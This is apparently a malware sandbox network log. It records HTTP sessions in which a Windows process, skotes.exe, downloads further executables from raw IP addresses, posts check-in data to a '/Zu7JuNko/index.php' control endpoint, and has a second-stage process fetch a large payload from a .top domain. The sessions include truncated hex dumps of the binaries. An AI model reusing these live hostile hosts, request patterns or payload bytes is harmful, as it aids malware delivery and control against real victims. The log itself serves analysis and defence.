[TRUNCATED] Data Ascii: 233 <c>1009238001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d29c1181de802b51c1d03439f85f51b90ac9a5536e6#1009251001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1009252001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1009253001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1009254001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1009255001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49961	31.41.244.11	80	8160	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:10:08.992646933 CET	66	OUT	GET /files/6639161109/vg9qcBa.exe HTTP/1.1 Host: 31.41.244.11
Nov 26, 2024 10:10:10.330161095 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 09:10:10 GMT Content-Type: application/octet-stream Content-Length: 471168 Last-Modified: Tue, 26 Nov 2024 07:49:49 GMT Connection: keep-alive ETag: "67457d9d-73080" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 aa b6 44 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 90 01 00 00 a0 00 00 00 00 00 00 c0 a8 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 07 00 00 06 00 00 da b0 07 00 03 00 40 c3 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 70 02 02 00 28 00 00 00 00 50 07 00 10 00 00 00 00 00 00 00 00 00 00 00 00 08 07 00 80 2e 00 00 00 60 02 00 d8 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 a7 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 cc 03 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELDg@`@p(P.`4.text `.rdatatst@@.data @.specP@@.reloc`@B.ROL4@.rsrcP@@
Nov 26, 2024 10:10:10.330256939 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:10.330269098 CET	1236	IN	Data Raw: 95 e9 d1 5b 89 c6 25 d2 7d 09 7a f7 d6 81 e6 2d 82 f6 85 09 f0 89 fe 81 e7 d2 7d 09 7a f7 d6 81 e6 2d 82 f6 85 09 f7 8b 74 24 18 31 c7 46 81 fb b1 25 cd 3e 0f 8e b1 fd ff ff e9 f4 fd ff ff 89 e8 c1 e8 0d 89 c1 f7 d1 21 e9 f7 d5 21 c5 09 cd 69 f5 Data Ascii: [%}z-}z-t$1F%>!!i[%RtR"tL$11K ^_[]USWV`%BL$t11D$\A<DxD$D$@ D$D$$@D$/&!=~W
Nov 26, 2024 10:10:10.330281973 CET	1236	IN	Data Raw: b9 be a0 19 ea 0f 44 c1 3d bd a0 19 ea 0f 8e 63 fc ff ff e9 b7 fc ff ff a1 cc 2f 42 00 8b 0d d0 2f 42 00 bf c8 40 6f f3 89 6c 24 34 8d 50 ff 0f af d0 89 d0 83 f0 fe 85 d0 0f 94 c3 83 f9 0a 0f 9c c7 30 df bb 28 8a 43 80 0f 45 df 85 d0 8b 54 24 0c Data Ascii: D=c/B/B@ol$4P0(CET$D\|$MT$<\|$8=VD$D$,/B\_.H_.D=/BM0E=L$0AL$=t$,D$<$F
Nov 26, 2024 10:10:10.330312014 CET	896	IN	Data Raw: 07 08 c4 30 d1 80 f4 01 08 cc b8 9e d3 8a b8 b9 57 1b 50 21 0f 44 c8 0f 44 e8 b8 c8 23 3d ba 0f 44 f8 b8 25 ad 60 b5 89 0c 24 90 3d 9d d3 8a b8 7e 29 3d 56 1b 50 21 7e 62 3d 57 1b 50 21 0f 84 be 00 00 00 3d 97 96 12 56 75 e0 89 e8 3d 9d d3 8a b8 Data Ascii: 0WP!DD#=D%`$=~)=VP!~b=WP!=Vu==^gtY=tq=%`uL$D$0#=EED==tK=#=u^g=yt$$D$=Z$=Jn=
Nov 26, 2024 10:10:10.330331087 CET	1236	IN	Data Raw: ff 8b 44 24 04 b9 57 18 9f 67 89 44 24 2c 8b 44 24 2c 3d 00 01 00 00 b8 43 da 16 9d e9 74 02 00 00 3d 1e f9 4a 39 0f 84 d5 02 00 00 3d c5 b1 e5 41 0f 85 04 fe ff ff e9 c4 fd ff ff 3d 43 da 16 9d 0f 84 dc 02 00 00 3d e4 8b f5 ba 0f 85 e9 fd ff ff Data Ascii: D$WgD$,D$,=Ct=J9=A=C=//"D$$1=//"=\=`D$8HL\HH\|$@)<HP.[D$GV[
Nov 26, 2024 10:10:10.330480099 CET	1236	IN	Data Raw: e8 af b1 00 00 83 c4 08 89 c7 56 e8 19 bf 00 00 83 c4 04 8b 4c 24 20 89 01 57 56 6a 01 50 e8 7d b3 00 00 83 c4 10 57 e8 33 b0 00 00 83 c4 04 b8 03 8e cc c1 3d 02 8e cc c1 0f 8f 43 ff ff ff 0f 1f 84 00 00 00 00 00 3d 83 f4 e6 8b 74 4e 3d fd 54 07 Data Ascii: VL$ WVjP}W3=C=tN=TtY=H/BHD=/BM0E=T=/Bl$HD=/BM0E=U
Nov 26, 2024 10:10:10.330491066 CET	448	IN	Data Raw: c8 b9 3b 50 cf 54 0f 94 c0 0f 44 ce 83 3d 00 30 42 00 0a 0f 9c c2 0f 4d cb 30 c2 0f 45 ce 81 f9 3c cb 7b f4 0f 8f d1 fc ff ff e9 04 fd ff ff a1 fc 2f 42 00 bf 1a 6d ae 51 be 97 e8 71 9d 8d 48 ff 0f af c8 f7 d1 83 c9 fe 83 f9 ff b9 97 e8 71 9d 0f Data Ascii: ;PTD=0BM0E<{/BmQqHqD=0BM0E<{^]&EE<{_M1[h14^_[]USWVH%B1E0B0BPQ^
Nov 26, 2024 10:10:10.330502987 CET	1236	IN	Data Raw: a1 04 30 42 00 bf ae 19 69 b6 bb 58 3e d0 3c 8d 48 ff 0f af c8 89 c8 83 f0 fe 85 c8 b8 58 3e d0 3c 0f 94 c1 0f 44 c7 83 3d 08 30 42 00 0a 0f 9c c2 0f 4d c3 30 ca e9 c1 00 00 00 3d f1 f6 98 ad 0f 84 64 02 00 00 3d 6c da a8 af 0f 85 32 ff ff ff 50 Data Ascii: 0BiX><HX><D=0BM0=d=l2PEEEEEEuu'Ew(N^wH<TE0BUH^w='=Q^MEl^w0^w
Nov 26, 2024 10:10:10.330507040 CET	224	IN	Data Raw: 0f 94 45 ee 0f 44 c7 83 f9 0a b9 02 40 c5 4c 0f 4d c3 0f 9c 45 ef 66 0f 1f 84 00 00 00 00 00 81 f9 01 40 c5 4c 7f 28 81 f9 b5 d2 e5 b3 74 0a 81 f9 11 12 73 c2 75 e8 eb 7e 89 c1 81 f9 01 40 c5 4c 7e e4 66 2e 0f 1f 84 00 00 00 00 00 66 90 81 f9 e5 Data Ascii: ED@LMEf@L(tsu~@L~f.f}^t<@LuUM}^0}^EDE@L~@L~A=Ag=AsuuEM
Nov 26, 2024 10:10:10.450555086 CET	1236	IN	Data Raw: 31 e9 e8 8b 61 00 00 8d 65 f4 5e 5f 5b 5d c3 e9 3b f9 ff ff cc cc cc cc cc cc cc cc cc cc cc 53 57 56 83 ec 14 a1 d0 25 42 00 8b 7c 24 28 31 e0 89 44 24 10 a1 0c 30 42 00 8b 0d 10 30 42 00 8d 50 ff 0f af d0 b8 9f 93 5e 70 f7 d2 83 ca fe 83 fa ff Data Ascii: 1ae^_[];SWV%B\|$(1D$0B0BP^pD$D$=w_ wEMf.=w_~Y==x_)=oH=]ujp`Wh0@X=w_D==8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49973	185.215.113.43	80	8160	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:10:13.800921917 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 39 32 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009238001&unit=246122658369
Nov 26, 2024 10:10:15.137207985 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 09:10:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49979	31.41.244.11	80	8160	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:10:15.259239912 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 26, 2024 10:10:16.641740084 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 09:10:16 GMT Content-Type: application/octet-stream Content-Length: 4418048 Last-Modified: Tue, 26 Nov 2024 06:57:43 GMT Connection: keep-alive ETag: "67457167-436a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 c0 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 c5 00 00 04 00 00 1c 32 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a7 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 a6 c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@2D@ _qs px'@.rsrc p'@.idata q'@ 8q'@tdbqqdnq'@wpfewoasDC@.taggant0"HC@
Nov 26, 2024 10:10:16.641851902 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:16.641864061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:16.641897917 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:16.641911983 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:16.641926050 CET	672	IN	Data Raw: 2e f5 a7 57 5e b8 0d 21 86 72 c8 03 61 8a 03 fa 0a 0c 60 2a c6 e6 e9 7a 24 ad 48 16 13 f2 a1 3b c1 8a b0 93 aa 29 92 6f ba 21 41 de a5 d3 98 08 30 43 e1 51 93 2e 1e 48 d9 7a 19 9d 11 26 21 50 6e 4f cf 41 a3 7f 61 f8 b0 db 8f 41 e7 10 a9 c0 13 6d Data Ascii: .W^!ra`z$H;)o!A0CQ.Hz&!PnOAaAm)f>NgZNsisIm@zF{pnI5^]J~!q=Yw#;9%]1\|nq\|Pg>{r7\?@Za&'V)h/19
Nov 26, 2024 10:10:16.642081976 CET	1236	IN	Data Raw: 46 00 17 43 c1 31 d9 c6 19 e8 dd 44 d6 30 e2 9d b4 af 6e 49 da 3c 70 da c9 33 1b 72 ca 40 fe c2 87 b3 0b 1b 81 3e 9c cc 88 43 b2 89 1f 7a 0c 67 a4 ca 10 7e e1 df 68 99 55 92 1e a6 09 c3 bc 65 23 a9 eb 6c 1c 70 86 71 9d 4a 2e b1 65 10 91 8a a1 4f Data Ascii: FC1D0nI<p3r@>Czg~hUe#lpqJ.eOb%/[~klB4^^09!NjtuAiosOlCiJ1+fc`Dr?xEe$n_&zQ6uNoL\"qaID@"=97$E
Nov 26, 2024 10:10:16.642101049 CET	1236	IN	Data Raw: a8 c3 72 40 ec 9e 8e 40 b6 4f f5 c9 89 c4 e5 dd 46 1f e9 48 c1 03 5d 2d 48 ec 29 77 3e 5a d2 dd 89 38 18 7b 40 ea 5b ee 8e 77 d9 c6 95 53 cf 2e 4d 51 12 f1 6e c2 49 33 a3 53 2a 5a f5 22 32 d3 b0 67 63 e0 7f 1a 26 fa 89 83 31 1f 55 38 5f 1d 4c 45 Data Ascii: r@@OFH]-H)w>Z8{@[wS.MQnI3S*Z"2gc&1U8_LEeRx4>aCu3(&3o:_Vp= `Bn?b~)`>F)_N:ABR.zHh##u:YDR`\%qL>K7#QhO=9a..i?kK
Nov 26, 2024 10:10:16.642117977 CET	1236	IN	Data Raw: 9f 7f b1 98 84 2c 92 66 56 72 c6 4d 8b 6e 24 3b 5a 35 18 a6 69 49 18 38 42 fe 25 41 1c 43 ba 68 5b 9a 49 f9 5f 0c 81 fe b3 f1 4d 7d f9 08 19 77 01 15 1a 1f fe 02 4b 6a 96 df f0 94 79 93 25 07 77 1f 13 80 09 d5 b0 28 0b 9b 31 b3 c4 89 54 a9 de 19 Data Ascii: ,fVrMn$;Z5iI8B%ACh[I_M}wKjy%w(1T!{p5XsO5@AS8z W{u+RRi9{k}R/,{j=sl9"_34%D1hG~j`_XJ#f"'lsY9
Nov 26, 2024 10:10:16.642146111 CET	1236	IN	Data Raw: 63 5f 92 87 bb 24 12 d9 fa e1 da 6a eb 87 76 cb e6 42 be 80 8e 43 72 09 d1 7a f7 aa 9d 11 8b 31 bf da 8d 44 19 c7 ed 3f 81 4b 20 a9 3f 5a 47 05 3f cc e1 53 c8 e3 23 39 ff 9b ef 52 63 49 c9 19 a6 6b d9 08 3c b8 6d 88 d4 48 bd 9b 6d 19 02 cc 17 04 Data Ascii: c_$jvBCrz1D?K ?ZG?S#9RcIk<mHm\KC6gZ=`)nfkI"_gs'g36gza^\|k)\|E$=k\|SFO%_`i:(n*r\|+@O6t\v_p=rhO0SQs>qh@n
Nov 26, 2024 10:10:16.761853933 CET	1236	IN	Data Raw: a5 d4 24 0e eb 48 05 4c 32 b0 0f fa f2 60 a6 0c 6f 9e 27 6f e8 0b a1 3f 22 d9 16 70 8b a2 b8 da 3a 47 3a 63 52 3f 4a 15 61 01 c6 47 83 6a be 0a 24 09 6c 50 eb 21 6d 47 ea 83 e1 9f 38 69 16 23 7a 55 2c 94 7d b9 40 22 a4 6d 16 cc 7d 47 6c 30 7e 61 Data Ascii: $HL2`o'o?"p:G:cR?JaGj$lP!mG8i#zU,}@"m}Gl0~a"+Hk9$2f;%voSKHm[.a`]kISS9.P eF>Kl24v9Q}>[uAniYMF@c )+.R?o~x"=A@T*;sSwtR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50007	185.215.113.43	80	8160	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:10:26.656579971 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 39 32 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009251001&unit=246122658369
Nov 26, 2024 10:10:28.033381939 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 09:10:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50012	185.215.113.16	80	8160	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:10:28.157358885 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 26, 2024 10:10:29.537713051 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 09:10:29 GMT Content-Type: application/octet-stream Content-Length: 1871872 Last-Modified: Tue, 26 Nov 2024 08:49:19 GMT Connection: keep-alive ETag: "67458b8f-1c9000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 95 08 45 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 02 04 00 00 c6 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 32 cb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELEg0J@`J2@\pp `\@.rsrcpl@.idata n@ *p@qlwzmoic 0r@qmvughcn Jh@.taggant00J"n@
Nov 26, 2024 10:10:29.537873983 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:29.538683891 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:29.538697004 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:29.538708925 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:29.539541960 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:29.539556026 CET	1236	IN	Data Raw: fa 5a da 06 8b bf bb 96 33 b2 00 5a 21 de d0 50 66 27 9c 01 e3 02 6a 3c b5 70 40 10 9c 49 fe 43 b4 aa 27 f6 5d 0f 2a fc 58 65 f0 26 f2 09 4b 1a 53 0e 04 7b 2f de 76 ed 7d f5 e8 d1 a2 d4 01 f4 d3 57 23 95 ad ff 81 c1 db 27 77 2c a0 51 91 2f f8 82 Data Ascii: Z3Z!Pf'j<p@IC']Xe&KS{/v}W#'w,Q/R)Hp(O?e6$J`/mpgcArZ<n`+JC49+FL\|4$h@U.G@)$:WO@fg/s`H,2o!HwN
Nov 26, 2024 10:10:29.539567947 CET	248	IN	Data Raw: 00 43 5e a6 0a e5 1f 40 b7 ed d9 46 f0 de 5c a0 79 e1 80 80 2d ed 5b 39 f3 ee 5c 94 fb 2f 49 64 64 8a 76 12 1e 37 fb db fa ee 3c 16 35 5e e8 13 4e c9 65 fa 28 c8 d4 17 2e 4d c9 c8 1f ec 70 35 f4 1a 72 28 87 db 22 11 37 64 3b 43 d0 e1 42 15 5c e3 Data Ascii: C^@F\y-[9\/Iddv7<5^Ne(.Mp5r("7d;CB\@&rnMoP=r>/?<<fVZ.J~<p'z3qYfW_9vev^Rq<8H4ZrgtP<{4Ep$ _iB8O\tqI1
Nov 26, 2024 10:10:29.539693117 CET	1236	IN	Data Raw: 9a 33 cc c0 94 d3 bc 1f 95 4d cc 57 15 7f fb 4d 1a f1 e1 3a 0d d5 07 df 4a e3 96 78 87 ed f9 5d 30 44 e9 b8 d5 a2 7d f5 b2 c5 81 e2 0e 17 6b 55 8e 56 02 d7 14 c1 51 22 7b 32 27 f5 03 d4 3d 0e 37 7a 9e 1d 1f 16 3d d2 5e aa d6 23 de 76 31 c6 7a 88 Data Ascii: 3MWM:Jx]0D}kUVQ"{2'=7z=^#v1zg'm?4^W!W1hc\|z:,ea UBxnws6)X;Af6d8@hT;pWy~VJ0o8BNYHU)@)
Nov 26, 2024 10:10:29.539870024 CET	1236	IN	Data Raw: 45 e9 e1 f7 c6 dc 05 cc ab 7e ec 3b f9 52 1e 17 c8 f1 56 3a b9 0e 9c 98 04 44 66 22 1f 41 cc 45 d0 b8 28 2a 46 00 6d a7 2d cd ef 2a fc 31 5e 34 fa 72 f2 15 e5 76 24 8c 41 0a d9 cc f7 7c 9d 93 c6 6a e6 9a 0e 2f ea 98 65 83 19 f4 36 bb cf b0 90 7c Data Ascii: E~;RV:Df"AE(Fm-1^4rv$A\|j/e6\|`'q!c`EHk/"\q(ykT,q/maE#n{H"`~b<H }:69GB!rc%K?NY3l;rcj
Nov 26, 2024 10:10:29.658039093 CET	1236	IN	Data Raw: 7c d4 f4 ca 5c e7 11 1d 3f 19 86 90 7b 90 ab d8 34 31 ae b4 f7 5f 9d 26 cf 5f 41 e2 60 3a ea f2 06 f9 53 fd 64 3f 1a cf 2a 6d 09 da 30 d9 19 ff 53 10 81 07 96 21 90 72 7d 60 38 62 6c d4 ea 13 e4 c8 ae 4e ff 70 36 3b 07 b4 1d 70 3a 6f 51 20 ef 7f Data Ascii: \|\?{41_&_A`:Sd?m0S!r}`8blNp6;p:oQ -/0Im]d6-\610Fr'KqF$Dn`eR}-1m5/csoFN=Pby-3Y@Gw(V:V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50013	34.116.198.130	80	8264	C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:10:28.358525991 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 26, 2024 10:10:29.786128044 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Tue, 26 Nov 2024 09:10:29 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa 